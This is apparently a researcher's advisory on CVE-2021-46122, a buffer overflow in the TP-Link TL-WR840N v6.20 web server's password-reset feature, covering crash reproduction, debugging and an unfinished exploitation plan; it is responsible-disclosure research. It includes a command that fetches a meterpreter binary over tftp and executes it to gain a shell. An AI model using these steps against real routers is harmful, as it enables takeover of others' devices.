Back to the advisories

TP-Link TL-WR840N v6.20(EU) Password Reset vulnerability - CVE-2021-46122

#TPLINK #cve #crash #rce
Last Modified: 2024.01.19.

If you find it valuable, you can support me by making a donation. Donate now.


I had a few days off during the winter break and played with the router firmware a bit. I only planned to deal with this for a day or two, but the problem was so much fun that I ended up spending a lot more time on it. Unfortunately, I didn’t have time to completely complete the exploit, but most of the problems have already been solved.

Is it possible exploiting the vulnerability? I think yes.

As soon as I have the mood and time, I will finish and update the report.

I sent the report to the TP-Link Security Team. The report was accepted and the firmware was fixed.


TP-Link TL-WR840N (EU) v6.20 contains a buffer overflow vulnerability in the httpd process. The attacker may get a shell of the router by sending a message through the network. The affected feature is the Password Reset feature.

Note: To exploit the vulnerability the password is necessary.

Hardware: TP-Link TL-WR840N (EU) v6.20
Firmware: 0.9.1 4.17 v0001.0 Build 201124 Rel.64328n
Authentication required: Yes

The vulnerability is fixed in the following firmware: TL-WR840N(EU)_V6.2_220120.

I highly recommend upgrading the firmware to the latest version "TL-WR840N(EU)_V6.2_220120". It can be downloaded from the vendor homepage.

I would like to say thank you to the TP-Link Security Team.


Technical Details

UART Shell

After some soldering, the UART interface is available and usable. The UART shell runs with administrative privileges. The UART shell was used for debugging and it is not necessary to Exploit the vulnerability.

Note: No password is required for the UART.



Encrypted parameters

The router administration interface is accessible via HTTP.

This router uses HTTP messages, but some parameters are encrypted. Understanding the encryption process is key to testing router parameters.

The following screenshot contains a HTTP message with encrypted parameters. The important part is the "sign" and "data" parameters.


There are 4 JavaScript file that are important.

The following simplified diagram visualize the encryption process:


Note: The "login request" is slightly different from the other requests


Example POST /CGI?8 request and response:



"Lib.js" – AESEncrypt Firefox – JavaScript Debugger (Pretty print source)


This is an important place, because the "" parameter contains the plaintext (request) parameters, and it is possible to modify it before the encryption.

Real life parameter example with Firefox and JavaScript Debug console:


The HTTP response is also encrypted, the relevant breakpoint is the following (lib.js):


Note: "INCLUDE_LOGIN_GDPR_ENCRYPT" parameter manipulation did not work.

Reproduce the vulnerability (crash)

To reproduce the crash only a browser is necessary. The steps are the following:
  1. Login
  2. Open JavaScript Console and use the Debugging interface
  3. Prepare some break points (lib.js)
  4. Select (System Tools->Password)
  5. Fill the form and click the "save"
  6. With the debugger (manipulate) the request and continue the execution.

The following screenshot contains the "ps" command output. From the vulnerability point of view the "httpd" process is important, because it will crash later.


During this demo a Firefox browser was in use. With the built in "Pretty print source" feature the "lib.js" JavaScript file displayed.

Two breakpoints were set on lines 365 and 367:


The plaintext parameters stored in the "" variable. The execution will stop here and with the JavaScript console it is possible to manipulate the parameters.

After login ( in this case) select System Tools -> Password (Reset Form)


Hit the breakpoint:




In the JavaScript Console the parameters are visible. In this case the old password was "admin2":


The "pwd" parameter changed from "admin1" to 1500 "A"-s.


Continue the execution and crash will occur. The HTTP server is not accessible:


The "httpd" is missing from the "ps" command output:


"netstat" command output:


Httpd crash analysis

Preparing the environment:

# copy busybox
tftp -g -r busybox-mipsel -l /var/tmp/busybox-mipsel

# copy gdbserver
tftp -g -r gdbserver -l /var/tmp/gdbserver

## ps -> httpd process 321

## gdbserver
/var/tmp # ./gdbserver localhost:2000 --attach 321

## copy and paste debug script

cd /var/tmp;
tftp -g -r gdbserver -l /var/tmp/gdbserver;
chmod +x /var/tmp/gdbserver;
./gdbserver localhost:2000 --attach 321 &

Debug script (client):


# gdb attach
gdb-multiarch -x debugscript

Reproduce the crash and check the stack trace with gdb:


The relevant functions restored with ghidra.

  1. dm_fillObjByStr (
  2. dm_checkString (
  3. dm_checkParamNodeString (
  4. rdp_setObj (httpd)
  5. http_rpm_auth_main (httpd)


The relevant local variables marked with red:


The overflow occurs in the following "strncpy" call:


The crash that is visible above is a side effect only, because of the incorrect parameter of the "dm_setParamNodeString" function.

If the parameter is not correct the httpd process could crash multiple places:

Checking the binary

The crash itself is a vulnerability, but probably a reverse shell can be obtained.

Binary Protections

26 27

It is possible to execute instructions from the stack.

Plan B is a ROP chain.

ASLR is enabled:


Howto Exploit it???

It is not easy, but (at least in theory) it is possible. The following sections contain the most important problems and solutions.


The MIPS "cache problem"

MIPS and the cache could destroy the payloads, a well-known technique to avoid cache issues is a "sleep" function call.

It tested with a small test binary on the device and it worked.

"Code execution" part

It is possible to generate a proper binary with the msfvenom tool. The tftp command can be used to execute copy the binary. The binary can be executed the following way:

# copy and execute k44 binary (meterpreter, multi handler, mipsle)
system("tftp -g -r k44 -l k44 /var/tmp/shell; chmod +x k44;/var/tmp/k44")

It tested on the device and it worked. :)

JavaScript encryption and raw bytes sending problem.

From the browser it is hard to send complex payloads. The problem is the Unicode conversion e.g.:


Note: Browser input works with "simple" characters.

Quick recap about the encryption:


An example:


There is a problem with the manual sign generation. The manually produced sign parameter is not accepted by the firmware.

It is very inconvenient to send the parameters through a browser, so it is worth automating. I made a quick and dirty solution:

  1. I implemented "data encryption" part in python3.
  2. The parameters are coming from the JavaScript console with a manual alert.
  3. I modified the encrypt.js (TP-Link) a little bit and it reused with spidermonkey JS engine to produce the sign value.

data encryption example:


sign example:


encrypt.js modifications:

new random function:


"getRandomValues" and remove unnecessary parts:


Handle the parameters:


Example usage:

After login collect the variables with an alert:


Use the parameters with the poc script:


Use the encrypted parameters and send the request with burp.

Crash occures and the "BCDE" bytes are in the good place in the debugger:



Open Topics

Unfortunately, I did not have time to move on, but I really want to finish.

There are only two problems left the "UTF-8 encoding problem and the " and the "dm_setParamNodeString" side effect problem.

Notes about the "dm_setParamNodeString" side effect problem:

Update is coming...

© 2019-2024 Kamilló Matek (k4m1ll0) All Rights Reserved